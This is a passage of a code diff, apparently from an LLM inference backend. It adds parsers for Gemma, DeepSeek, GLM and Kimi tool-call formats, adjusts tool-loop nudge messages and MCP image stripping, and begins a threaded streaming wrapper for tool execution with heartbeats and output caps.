+        # Raw-quoted string: delimiters inside are data (``{city:"New, York"}`` is one
+        # value); returned unquoted like the top-level scalar coercion.
+        quote = text[i]
+        j = i + 1
+        n = len(text)
+        while j < n:
+            if text[j] == "\\" and j + 1 < n:
+                j += 2
+                continue
+            if text[j] == quote:
+                return text[i + 1 : j], j + 1, True
+            j += 1
+        return text[i + 1 :], n, False
+    # Primitive / unquoted code: same delimiter rules as the top-level scan (bracket depth
+    # + contextual quote openers hide commas and closers).
+    end = i
+    n = len(text)
+    depth = 0
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    while end < n and not text.startswith(_GEMMA_STR_BEGIN, end):
+        ch = text[end]
+        if quote:
+            if ch == "\\" and end + 1 < n:
+                end += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch in "{[(":
+            depth += 1
+        elif ch in "}])":
+            if depth == 0:
+                break
+            depth -= 1
+        elif ch == "," and depth == 0:
+            if not in_mapping or _GEMMA_KEY_RE.match(text, end + 1):
+                break
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        end += 1
+    if end == i:
+        # Stray delimiter where a value was expected: consume one char so callers always
+        # advance (no infinite loop on malformed input).
+        return "", i + 1, True
+    raw = text[i:end].strip()
+    if raw == "true":
+        return True, end, True
+    if raw == "false":
+        return False, end, True
+    if raw == "null":
+        return None, end, True
+    try:
+        return int(raw), end, True
+    except ValueError:
+        pass
+    try:
+        return float(raw), end, True
+    except ValueError:
+        pass
+    return raw, end, True
+
+
+def _gemma_parse_array(text: str, start: int):
+    """Parse a Gemma ``[...]`` array at ``text[start] == '['`` in one forward
+    pass; returns ``(list, next_index, closed)``."""
+    items: list[Any] = []
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "]":
+            return items, i + 1, True
+        if i >= n:
+            break
+        v, i, _closed = _gemma_parse_value(text, i)
+        items.append(v)
+    return items, i, False
+
+
+def _gemma_coerce_scalar(raw: str) -> Any:
+    """Coerce an unquoted Gemma value to bool/int/float/None, else keep str
+    (quotes stripped first so quoted/unquoted variants compare identical)."""
+    raw = raw.strip()
+    if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in "\"'":
+        return raw[1:-1]
+    if raw == "true":
+        return True
+    if raw == "false":
+        return False
+    if raw == "null":
+        return None
+    try:
+        return int(raw)
+    except ValueError:
+        pass
+    try:
+        return float(raw)
+    except ValueError:
+        pass
+    return raw
+
+
+def _gemma_strip_quoted_leaves(value: Any) -> Any:
+    """Recursively unquote quoted string leaves of a nested stripped-stream value,
+    so nested ``city:"New York"`` matches the top-level coercion (no stray quotes)."""
+    if isinstance(value, str):
+        v = value.strip()
+        if len(v) >= 2 and v[0] == v[-1] and v[0] in "\"'":
+            return v[1:-1]
+        return value
+    if isinstance(value, dict):
+        return {k: _gemma_strip_quoted_leaves(v) for k, v in value.items()}
+    if isinstance(value, list):
+        return [_gemma_strip_quoted_leaves(v) for v in value]
+    return value
+
+
+def _gemma_parse_stripped_body(body: str) -> dict[str, Any]:
+    """Parse a quote-less Gemma arg body ``key:value, key2:value2`` (the
+    ``skip_special_tokens`` stream with ``<|"|>`` markers removed). Each value runs
+    to the next top-level ``, key:`` boundary, tracking ``{}``/``[]``/``()`` depth so
+    commas/braces inside a ``code`` / ``command`` value aren't truncated."""
+    out: dict[str, Any] = {}
+    i, n = 0, len(body)
+    while i < n:
+        m = _GEMMA_KEY_RE.match(body, i)
+        if not m:
+            break
+        key = m.group(1)
+        i = m.end()
+        vstart = i
+        depth = 0
+        quote = ""
+        # Contextual quote openers mirror _gemma_body_brace_end.
+        prev = ":"
+        prev_raw = ":"
+        while i < n:
+            ch = body[i]
+            if quote:
+                # A ``, key:`` shape inside the quoted string is not a boundary.
+                if ch == "\\" and i + 1 < n:
+                    i += 2
+                    continue
+                if ch == quote:
+                    quote = ""
+            elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                quote = ch
+            elif ch in "{[(":
+                depth += 1
+            elif ch in "}])":
+                if depth > 0:
+                    depth -= 1
+            elif ch == "," and depth == 0 and _GEMMA_KEY_RE.match(body, i + 1):
+                break
+            if not ch.isspace():
+                prev = ch
+            prev_raw = ch
+            i += 1
+        raw_val = body[vstart:i].strip()
+        if raw_val[:1] in "{[":
+            # Nested object/array: accept only a fully consumed, closed parse; a
+            # truncated/malformed value falls back to the raw string.
+            parsed, end, closed = _gemma_parse_value(raw_val, 0)
+            out[key] = (
+                _gemma_strip_quoted_leaves(parsed)
+                if (closed and end == len(raw_val))
+                else _gemma_coerce_scalar(raw_val)
+            )
+        else:
+            out[key] = _gemma_coerce_scalar(raw_val)
+        if i < n and body[i] == ",":
+            i += 1
+    return out
+
+
+def _gemma_parse_mapping(text: str, start: int):
+    """Parse a Gemma ``{key:value, ...}`` mapping at ``text[start] == '{'`` in one
+    forward pass; returns ``(dict, next_index, closed)`` (``closed`` True iff the
+    matching ``}`` was reached)."""
+    out: dict[str, Any] = {}
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "}":
+            return out, i + 1, True
+        if i >= n:
+            break
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                break
+            key = text[i + len(_GEMMA_STR_BEGIN) : close]
+            i = close + len(_GEMMA_STR_END)
+        else:
+            kstart = i
+            while i < n and text[i] not in ":}":
+                i += 1
+            key = text[kstart:i].strip()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i < n and text[i] == ":":
+            i += 1
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i >= n:
+            out[key] = None
+            break
+        if text[i] == "}":
+            out[key] = None
+            return out, i + 1, True
+        v, i, _closed = _gemma_parse_value(text, i, in_mapping = True)
+        out[key] = v
+    return out, i, False
+
+
+# ── DeepSeek R1 / V3 / V3.1 ─────────────────────────────────────────
+
+
+def _find_outside_json_strings(text: str, needle: str, start: int) -> int:
+    """Index of ``needle`` at/after ``start`` OUTSIDE any JSON string, or -1: a
+    marker inside an argument string must not be taken as the structural terminator."""
+    i = start
+    n = len(text)
+    in_string = False
+    esc = False
+    while i < n:
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            i += 1
+            continue
+        if text.startswith(needle, i):
+            return i
+        i += 1
+    return -1
+
+
+def _parse_deepseek_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """DeepSeek R1 / V3 / V3.1.
+
+    R1:    ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`<｜tool▁call▁end｜>...``
+    V3.x:  ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``
+
+    Mirrors llama.cpp's pre-autoparser ``common_chat_parse_deepseek_r1`` /
+    ``_v3_1`` handling; tolerates the 5 opener variants llama.cpp keeps.
+    """
+    out: list[dict] = []
+    begin = _DEEPSEEK_BEGIN_RE.search(content)
+    if not begin:
+        return out
+    scan_start = begin.end()
+    # Envelope end OUTSIDE JSON strings: an argument may contain the literal end token,
+    # and a raw find would truncate the call.
+    end_pos = _find_outside_json_strings(content, _DEEPSEEK_END, scan_start)
+    # Strict mode: an unclosed envelope is truncated; reject, don't heal to EOF.
+    if not allow_incomplete and end_pos < 0:
+        return out
+    scan_end = end_pos if end_pos >= 0 else len(content)
+    body = content[scan_start:scan_end]
+
+    # R1 path first: ``function<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>``.
+    pos = 0
+    while pos < len(body):
+        fpos = body.find(_DEEPSEEK_R1_FUNC_MARKER, pos)
+        if fpos < 0:
+            break
+        name_start = fpos + len(_DEEPSEEK_R1_FUNC_MARKER)
+        nl = body.find("\n", name_start)
+        if nl < 0:
+            break
+        if not body.startswith(_DEEPSEEK_R1_FENCE, nl):
+            pos = name_start
+            continue
+        name = body[name_start:nl].strip()
+        json_start = nl + len(_DEEPSEEK_R1_FENCE)
+        # Walk a balanced ``{`` even if the trailing fence is truncated.
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = json_start
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        # The closing fence + <｜tool▁call▁end｜> must IMMEDIATELY follow the JSON, else an
+        # unbounded search lands on a LATER call's terminator. Absent close: heal past the
+        # JSON (strict rejects); later well-formed calls are still kept.
+        after = brace_end + 1
+        while after < len(body) and body[after] in " \t\r\n":
+            after += 1
+        close_m = _DEEPSEEK_R1_CLOSE_RE.match(body, after)
+        if not allow_incomplete and close_m is None:
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close_m.end() if close_m else brace_end + 1
+    if out:
+        return out
+
+    # V3 / V3.1: name then bare JSON. Use ``str.find`` for the sep marker and walk
+    # back for the name (a ``[^\n<]+`` regex search is O(N^2) on truncated bodies).
+    pos = 0
+    while pos < len(body):
+        sep_pos = body.find(_DEEPSEEK_SEP, pos)
+        if sep_pos < 0:
+            break
+        # Walk left from sep_pos to the name start; stop at ``\n`` (turn boundary), ``<``
+        # (tag start), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>``).
+        name_start = sep_pos
+        while name_start > pos and body[name_start - 1] not in "\n<>":
+            name_start -= 1
+        name = body[name_start:sep_pos].strip()
+        json_start = sep_pos + len(_DEEPSEEK_SEP)
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = sep_pos + len(_DEEPSEEK_SEP)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        # Strict mode: a real V3 call closes with the per-call <｜tool▁call▁end｜>; without
+        # it the call is truncated/merged, so skip it but keep scanning for a later
+        # well-formed call (matches Kimi strict).
+        if not allow_incomplete:
+            after = brace_end + 1
+            while after < len(body) and body[after] in " \t\r\n":
+                after += 1
+            if not body.startswith(_DEEPSEEK_CALL_END, after):
+                pos = brace_end + 1
+                continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance just past the JSON; seeking the optional <｜tool▁call▁end｜> could land on
+        # a LATER call's end marker and skip the call between.
+        pos = brace_end + 1
+    return out
+
+
+# ── GLM 4.5 / 4.6 / 4.7 ─────────────────────────────────────────────
+
+
+def _parse_glm_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """GLM 4.5 / 4.6 / 4.7.
+
+    ``<tool_call>NAME[\\n]<arg_key>K</arg_key>[\\n]<arg_value>V</arg_value>
+    ...</tool_call>``. Multi-call is back-to-back blocks, no envelope.
+    Mirrors llama.cpp's GLM 4.x tool-call handling (``common_chat_params_init_glm_4_5``
+    plus its generalized XML-style parser, llama.cpp PRs #15904 / #16932).
+    """
+    out: list[dict] = []
+    pos = 0
+    while pos < len(content):
+        m = _GLM_TC_OPEN_RE.search(content, pos)
+        if not m:
+            break
+        name = m.group(1).strip()
+        apos = m.end()  # absolute position in ``content``; advances past each pair
+
+        args: dict[str, Any] = {}
+        valid = True
+        close = -1
+        # Walk arg pairs directly against ``content``: a value may contain a literal
+        # </tool_call>, so the real close is the </tool_call> before the next <arg_key>.
+        # ``str.find`` keeps this linear.
+        while True:
+            ks = content.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = content.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = content.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < len(content) and content[vstart] in " \t\r\n":
+                vstart += 1
+            if not content.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                # Key without <arg_value>: strict rejects the call; Auto-Heal skips it.
+                if not allow_incomplete:
+                    valid = False
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            # A first-match find on </arg_value> would truncate values containing literal
+            # close tags and execute corrupted arguments.
+            ve = _glm_value_close(content, vs, strict = not allow_incomplete)
+            key = content[ks + len(_GLM_ARG_KEY_OPEN) : ke].strip()
+            if ve < 0:
+                # Unclosed <arg_value>: strict rejects the whole call; Auto-Heal keeps the
+                # partial value (a truncated query is not a no-arg call).
+                if not allow_incomplete:
+                    valid = False
+                    break
+                # Bound the healed value at the next structural tag, not EOF, so a value
+                # missing only its </arg_value> can't swallow the markup after it.
+                nk = content.find(_GLM_ARG_KEY_OPEN, vs)
+                tc = content.find(_GLM_TC_CLOSE, vs)
+                bounds = [b for b in (nk, tc) if b >= 0]
+                if not bounds:
+                    args[key] = content[vs:].rstrip()
+                    break
+                bound = min(bounds)
+                args[key] = content[vs:bound].rstrip()
+                apos = bound
+                continue
+            raw_val = content[vs:ve]
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+            # Decode only unambiguous JSON literals; else keep the value RAW so whitespace
+            # in string args survives (matches vLLM glm4_moe). ``"`` is left out of the
+            # probe: a verbatim string's quotes are meaningful.
+            probe = raw_val.strip()
+            if (
+                probe[:1] in "{["
+                or probe in ("true", "false", "null")
+                or _GLM_JSON_NUMERIC_RE.fullmatch(probe)
+            ):
+                try:
+                    args[key] = json.loads(probe)
+                    continue
+                except (json.JSONDecodeError, ValueError):
+                    pass
+            args[key] = raw_val
+
+        # Strict mode: a block with no </tool_call> is truncated; reject it.
+        if not allow_incomplete and close < 0:
+            valid = False
+
+        if name and valid:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close + len(_GLM_TC_CLOSE) if close >= 0 else len(content)
+    return out
+
+
+# ── Kimi K2 / Moonshot ──────────────────────────────────────────────
+
+
+def _parse_kimi_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Kimi K2.
+
+    ``<|tool_calls_section_begin|><|tool_call_begin|>functions.NAME:IDX
+    <|tool_call_argument_begin|>{json}<|tool_call_end|>...
+    <|tool_calls_section_end|>``. Full id is preserved on ``tool_calls
+    [i].id`` for round-trip through the chat template. Outer loop walks
+    every section in the stream (vLLM / SGLang parity); mirrors llama.cpp's
+    Kimi K2 handling via its generalized XML-style parser (llama.cpp PR #16932).
+    """
+    out: list[dict] = []
+    outer_pos = 0
+    while True:
+        section_start = content.find(_KIMI_SECTION_BEGIN, outer_pos)
+        if section_start < 0:
+            break
+        scan_start = section_start + len(_KIMI_SECTION_BEGIN)
+        # Section end OUTSIDE JSON strings: an argument may contain the literal end token,
+        # and a raw find would drop the later valid call.
+        section_end = _find_outside_json_strings(content, _KIMI_SECTION_END, scan_start)
+        scan_end = section_end if section_end >= 0 else len(content)
+        body = content[scan_start:scan_end]
+        # Truncated tail: parse what we have, then exit. In strict mode a section with no
+        # <|tool_calls_section_end|> is truncated; reject it instead.
+        if section_end < 0:
+            if allow_incomplete:
+                out.extend(
+                    _parse_kimi_section_body(
+                        body, id_offset = id_offset + len(out), allow_incomplete = True
+                    )
+                )
+            return out
+        outer_pos = section_end + len(_KIMI_SECTION_END)
+        out.extend(
+            _parse_kimi_section_body(
+                body, id_offset = id_offset + len(out), allow_incomplete = allow_incomplete
+            )
+        )
+
+    # The section wrapper is optional (llama.cpp): a bare <|tool_call_begin|> call parses
+    # as one section when the loop matched nothing.
+    if not out and _KIMI_CALL_BEGIN in content:
+        out.extend(
+            _parse_kimi_section_body(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+        )
+    return out
+
+
+def _parse_kimi_section_body(
+    body: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse one Kimi K2 section body (between begin / end markers)."""
+    out: list[dict] = []
+    pos = 0
+    while pos < len(body):
+        call_start = body.find(_KIMI_CALL_BEGIN, pos)
+        if call_start < 0:
+            break
+        id_start = call_start + len(_KIMI_CALL_BEGIN)
+        arg_begin = body.find(_KIMI_ARG_BEGIN, id_start)
+        if arg_begin < 0:
+            break
+        full_id = body[id_start:arg_begin].strip()
+        m = _KIMI_ID_RE.match(full_id)
+        if m:
+            # group(1) is the whole name; do NOT split on ``.`` -- a dotted MCP name stays intact.
+            name = m.group(1)
+        else:
+            base = full_id.split(":")[0]
+            name = base[len("functions.") :] if base.startswith("functions.") else base
+        # Drop bare-counter ids (``3``, ``42``) -- matches vLLM; SGLang infers the name
+        # from the tool schema, which we don't have here.
+        if name.isdigit():
+            json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+            brace_end = (
+                _balanced_brace_end(body, json_start)
+                if (json_start < len(body) and body[json_start] == "{")
+                else None
+            )
+            if brace_end is None:
+                pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            else:
+                pos = brace_end + 1
+            continue
+        json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+        # Balanced brace lets a truncated trailing end marker still surface a call.
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            # Malformed / truncated JSON: skip this call but keep parsing later ones
+            # instead of dropping the rest of the section (vLLM recovers them).
+            nxt = body.find(_KIMI_CALL_BEGIN, json_start)
+            if nxt < 0:
+                break
+            pos = nxt
+            continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if not allow_incomplete:
+            # Strict mode: this call must close with <|tool_call_end|> before the next
+            # <|tool_call_begin|>; otherwise it is truncated, so reject it.
+            end_marker = body.find(_KIMI_CALL_END, brace_end + 1)
+            next_call = body.find(_KIMI_CALL_BEGIN, brace_end + 1)
+            if end_marker < 0 or (next_call >= 0 and end_marker > next_call):
+                pos = brace_end + 1
+                continue
+        if name:
+            out.append(
+                {
+                    "id": full_id or f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance past the JSON; seeking <|tool_call_end|> could skip a following call
+        # when this one's end marker is missing.
+        pos = brace_end + 1
+    return out
diff --git a/studio/backend/core/inference/tool_loop_controller.py b/studio/backend/core/inference/tool_loop_controller.py
index cb751ede3d..61643b5795 100644
--- a/studio/backend/core/inference/tool_loop_controller.py
+++ b/studio/backend/core/inference/tool_loop_controller.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Shared controller state for Studio local agentic tool loops.
+"""Shared controller state for Unsloth local agentic tool loops.
 
 This module is intentionally dependency-light: it owns only per-response
 ledger state and value objects used by the GGUF and safetensors loops.
@@ -233,15 +233,50 @@ def is_tool_error(result: str) -> bool:
     return isinstance(result, str) and result.lstrip().startswith(TOOL_ERROR_PREFIXES)
 
 
+def _strip_mcp_image_suffix(result: str) -> str:
+    """Drop a trailing __MCP_IMAGES__ envelope only when it is the valid JSON
+    image array appended by _flatten_result, so legit tool text that merely
+    mentions the marker is not truncated."""
+    head, sep, payload = result.rpartition("\n__MCP_IMAGES__:")
+    if not sep:
+        return result
+    try:
+        images = json.loads(payload)
+    except (ValueError, RecursionError):
+        return result
+    if not isinstance(images, list) or not images:
+        return result
+    if not all(
+        isinstance(img, dict)
+        and isinstance(img.get("data"), str)
+        and isinstance(img.get("mimeType"), str)
+        for img in images
+    ):
+        return result
+    return head.rstrip()
+
+
 def strip_result_for_model(result: str) -> str:
     """Remove frontend-only sentinels (image paths, RAG source map) before
     feeding the result back to the model."""
+    result = _strip_mcp_image_suffix(result)
     for sentinel in ("__IMAGES__:", "__RAG_SOURCES__:"):
         if sentinel in result:
             result = result.split(sentinel, 1)[0].rstrip()
     return result
 
 
+def append_deferred_nudges(conversation: list, msgs: Sequence[dict]) -> None:
+    """Append a batch's no-op nudges as one deduped ``role=user`` message.
+
+    Deferred to after the batch's tool results so a no-op never splits an
+    assistant's ``tool_calls`` from their ``role=tool`` results.
+    """
+    contents = list(dict.fromkeys(msg["content"] for msg in msgs))
+    if contents:
+        conversation.append({"role": "user", "content": "\n\n".join(contents)})
+
+
 def _tool_name_from_schema(tool: Mapping[str, Any]) -> str:
     function = tool.get("function")
     if not isinstance(function, Mapping):
@@ -253,8 +288,9 @@ def _tool_name_from_schema(tool: Mapping[str, Any]) -> str:
 def _noop_result(reason: NoopReason, tool_name: str) -> str:
     if reason == "duplicate":
         return (
-            "The previous tool request was not executed because this exact "
-            "tool call already completed successfully. Do not repeat the same "
+            f"One earlier request to call tool '{tool_name}' in this batch was "
+            "not executed because an identical call had already completed "
+            "successfully. Do not repeat the same "
             "tool call. Continue with a different enabled tool if that would "
             "materially help, or provide the final answer if you have enough "
             "information."
@@ -267,8 +303,8 @@ def _noop_result(reason: NoopReason, tool_name: str) -> str:
             "the requested final note or answer."
         )
     return (
-        f"The previous tool request was not executed because tool "
-        f"'{tool_name}' is not enabled for this request. Provide the "
+        f"One earlier request to call tool '{tool_name}' in this batch was "
+        "not executed because that tool is not enabled for this request. Provide the "
         "final answer now without calling more tools."
     )
 
diff --git a/studio/backend/core/inference/tool_stream_exec.py b/studio/backend/core/inference/tool_stream_exec.py
new file mode 100644
index 0000000000..9cdb21bf8a
--- /dev/null
+++ b/studio/backend/core/inference/tool_stream_exec.py
@@ -0,0 +1,284 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Streaming wrapper around blocking server-side tool execution.
+
+``stream_tool_execution`` runs a blocking tool call in a worker thread and
+turns it into a generator that yields:
+
+* ``{"type": "tool_output", "tool_name", "tool_call_id", "text"}`` -- an
+  incremental stdout/stderr chunk (python/terminal tools) for live UI output;
+* ``{"type": "heartbeat"}`` -- emitted whenever nothing else has been yielded
+  for ``heartbeat_interval_s`` seconds, so the SSE route can write a
+  keepalive and reverse proxies (Cloudflare tunnels cap idle streams at
+  ~100 s) never see a silent connection while a tool runs;
+
+and *returns* the tool's final result string via ``StopIteration.value``
+(``result = yield from stream_tool_execution(...)``). The returned result is
+byte-identical to calling the tool directly, so tool-result parsing, nudging,
+and healing downstream are untouched.
+"""
+
+from __future__ import annotations
+
+import inspect
+import queue
+import threading
+import time
+from typing import Any, Callable, Generator
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+
+def accepts_output_callback(func: Callable[..., str]) -> bool:
+    """Whether an injectable ``execute_tool`` supports ``output_callback``.
+
+    ``execute_tool`` is replaceable (tests inject fakes / the pre-PR signature),
+    so forward the kwarg only when the callable declares it or takes ``**kwargs``
+    (passing it unconditionally would ``TypeError`` on an old signature).
+    """
+    try:
+        params = inspect.signature(func).parameters
+    except (TypeError, ValueError):
+        return False
+    if "output_callback" in params:
+        return True
+    return any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
+# Cadence of heartbeat events while a tool blocks with no output. Well under
+# common proxy idle caps (Cloudflare ~100 s, nginx default 60 s).
+TOOL_HEARTBEAT_INTERVAL_S = 10.0
+
+# How often the wrapper wakes to poll for output / completion / cancellation.
+_POLL_INTERVAL_S = 0.25
+
+# Upper bound on how long teardown waits for the worker once the stream is
+# closed or errors. A cancel-observing tool returns within this after
+# ``cancel_event`` is set; a cancel-ignoring one is a daemon left to finish on
+# its own rather than blocking teardown for the tool's full timeout.
+_WORKER_JOIN_TIMEOUT_S = 5.0
+
+# Cap on total streamed live-output characters per tool call, bounding the
+# transient UI stream so a tight print loop cannot flood the SSE channel. Much
+# higher than the model-visible result cap (tools._MAX_OUTPUT_CHARS) since the
+# UI keeps the live stream as the displayed output when the result is truncated.
+TOOL_OUTPUT_STREAM_MAX_CHARS = 400_000
+
+_STREAM_CAPPED_NOTICE = "\n... (further live output not streamed)\n"
+
+
+def _drain_queue(q: "queue.Queue", sentinel: object, max_chars: int | None) -> tuple[str, bool]:
+    """Pull every currently-queued item, joining chunks in FIFO order.
+
+    With ``max_chars`` set, stop concatenating at the budget and discard the
+    remaining chunks in place, bounding peak allocation when a chatty tool queues
+    far more than the cap before the consumer wakes. The crossing chunk is sliced
+    to one char past the budget, enough for the caller's truncation to stay
+    byte-identical. Returns ``(joined_text, hit_sentinel)``; the surplus is still
+    scanned so completion is detected promptly.
+    """
+    parts: list[str] = []
+    total = 0
+    dropping = False
+    hit_sentinel = False
+    while True:
+        try:
+            item = q.get_nowait()
+        except queue.Empty:
+            break
+        if item is sentinel:
+            hit_sentinel = True
+            break
+        if dropping:
+            continue
+        if max_chars is not None and total + len(item) > max_chars:
+            # Keep one char past the budget as the overflow signal; drop the rest.
+            parts.append(item[: max(0, max_chars - total) + 1])
+            dropping = True
+            continue
+        parts.append(item)
+        total += len(item)
+    return "".join(parts), hit_sentinel
+
+
+def stream_tool_execution(
+    invoke: Callable[[Callable[[str], None]], str],
+    *,
+    tool_name: str,
+    tool_call_id: str = "",
+    cancel_event: Any = None,
+    heartbeat_interval_s: float = TOOL_HEARTBEAT_INTERVAL_S,
+    poll_interval_s: float = _POLL_INTERVAL_S,
+) -> Generator[dict, None, str]:
+    """Run ``invoke(output_callback)`` in a thread; yield live events; return the result.
+
+    ``invoke`` receives a thread-safe ``callable(str)`` it may call with
+    incremental output chunks (or ignore entirely). Exceptions raised by the
+    tool propagate to the caller unchanged after the worker thread finishes.
+
+    ``cancel_event`` is the request-level cancellation signal already handed to
+    the tool. If the consumer closes this generator early (an SSE disconnect
+    calls ``gen.close()``, raising ``GeneratorExit`` at a ``yield``), the wrapper
+    sets it so a cancel-observing tool stops, then joins the worker with a bounded
+    timeout. Set ONLY on that abnormal-exit path, never on a clean finish, because
+    the event is shared across a turn's tool calls and setting it early would
+    abort the next tool.
+    """
+    output_queue: queue.Queue[Any] = queue.Queue()
+    done_sentinel = object()
+    outcome: dict[str, Any] = {}
+
+    # Bound accepted output at the PRODUCER boundary: the consumer-side cap alone
+    # wouldn't stop a fast worker enqueuing unboundedly while a slow SSE client
+    # backpressures. Accept at most one char past the cap (so the consumer still
+    # emits the capped notice) and drop the rest. The final result is captured
+    # independently, so this never changes the byte-identical result.
+    accepted_output_chars = 0
+    accepted_output_lock = threading.Lock()
+
+    def _on_output(text: str) -> None:
+        nonlocal accepted_output_chars
+        if not text:
+            return
+        with accepted_output_lock:
+            remaining = TOOL_OUTPUT_STREAM_MAX_CHARS + 1 - accepted_output_chars
+            if remaining <= 0:
+                return
+            accepted = text[:remaining]
+            accepted_output_chars += len(accepted)
+        output_queue.put(accepted)
+
+    def _run() -> None:
+        try:
+            outcome["result"] = invoke(_on_output)
+        except BaseException as exc:  # noqa: BLE001 - re-raised on the caller side
+            outcome["error"] = exc
+        finally:
+            # Posted after the result/error is recorded; wakes the consumer
+            # immediately so fast tools pay no poll-interval latency.
+            output_queue.put(done_sentinel)
+
+    worker = threading.Thread(
+        target = _run,
+        daemon = True,
+        name = f"tool-exec-{tool_name or 'unknown'}",
+    )
+    worker.start()
+
+    # Heartbeats are paced by counting idle queue polls rather than a wall clock
+    # (tests patch ``time.monotonic`` globally, so the wrapper must not read it).
+    idle_polls_per_heartbeat = max(1, int(round(heartbeat_interval_s / poll_interval_s)))
+    idle_polls = 0
+    streamed_chars = 0
+    stream_capped = False
+    finished = False
+
+    def _drain_pending(max_chars: int | None = None) -> str:
+        nonlocal finished
+        text, hit_sentinel = _drain_queue(output_queue, done_sentinel, max_chars)
+        if hit_sentinel:
+            finished = True
+        return text
+
+    def _drain_and_drop() -> None:
+        """Discard the current and every queued chunk without concatenating.
+
+        Past the cap every chunk is dropped, so don't pay to build a combined
+        string only to drop it. Still detect completion so the loop can exit.
+        """
+        nonlocal finished
+        while True:
+            try:
+                item = output_queue.get_nowait()
+            except queue.Empty:
+                return
+            if item is done_sentinel:
+                finished = True
+                return
+
+    abnormal_exit = False
+    try:
+        while not finished:
+            try:
+                item = output_queue.get(timeout = poll_interval_s)
+            except queue.Empty:
+                # A disconnect sets cancel_event while the worker is silent;
+                # surface a heartbeat this poll so the route regains control and
